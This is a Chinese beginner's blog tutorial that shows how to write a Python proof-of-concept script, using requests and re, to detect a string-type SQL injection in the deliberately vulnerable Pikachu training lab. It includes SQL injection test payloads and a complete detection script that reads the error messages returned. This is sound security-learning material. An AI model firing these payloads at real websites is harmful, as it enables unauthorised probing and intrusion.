requests与re开始学习前呢,首先要对python的基本语法以及对requests以及re两个模块有一定的了解以及基础,以及对poc,exp,http相关知识的了解。(编主也在学习中,不对之处请多多担待和指点QAQ)
poc与exppoc还是exp的编写与使用都离不开这两个python库。
requests:模拟Web的请求和相应等交互动作。也就是发包
re:正则表达式,用来验证返回包的信息是否符合漏洞的特征,从而确认漏洞是否存在。
具体用法>>requests>>re
pikachu-sql字符注入poc与exp的区别在于破坏性。poc(proof of concept)意思是证明观点,也就是验证漏洞是否存在。exp(exploit)意思式漏洞利用,用来利用漏洞进行攻击。
漏洞的挖掘这里用靶场pikachu的字符注入为例子,来编写简单的poc与exp。
poc首先进行漏洞挖掘然后根据漏洞挖掘与利用的流程来编写poc与exp。由于这里漏洞比较明显就不多赘述了。直接开始编写poc
首先是对漏洞的验证,判断否存在sql注入点。
1.变量首先我们要确认发送的http包的内容变量
url = "http://192.168.110.131/pikachu-master/vul/sqli/sqli_str.php" #要验证注入点的url
name = ["' and 1=1 #","'"] # 测试payload
head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "} # 自定义http包头
for i in range(2):
sqlname = {"name": name[i], "submit": "查询"} # 注入参数
2.发送http包
for i in range(2):
sqlname = {"name": name[i], "submit": "查询"} # 注入参数
res = requests.get(url=url, headers=head, params=sqlname) # 发起get请求
3. 是否存在漏洞判断
根据相应包的内容,进行正则匹配确认是否存在漏洞。
for i in range(2):
sqlname = {"name": name[i], "submit": "查询"} # 注入参数
res = requests.get(url=url, headers=head, params=sqlname) # 发起get请求
if i==0 and re.findall("您输入的username不存在,请重新输入!",res.text):#判断是否正确执行
x = 1
#print(x)
if i==1 and re.findall("You have an error in your SQL syntax;",res.text):#判断是否错误执行
x += 1
#print(x)
if x==2:
print("存在注入漏洞!")
运行验证
完整代码:
import re
import requests
url = "http://192.168.110.131/pikachu-master/vul/sqli/sqli_str.php" #要验证注入点的url
name = ["' and 1=1 #","'"] # 测试payload
head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "} # 自定义http包头
for i in range(2):
sqlname = {"name": name[i], "submit": "查询"} # 注入参数
res = requests.get(url=url, headers=head, params=sqlname) # 发起get请求
if i==0 and re.findall("您输入的username不存在,请重新输入!",res.text):
x = 1
#print(x)
if i==1 and re.findall("You have an error in your SQL syntax;",res.text):
x += 1
#print(x)
if x==2:
print("存在注入漏洞!")
下期对漏洞的利用,进行exp的编写~~



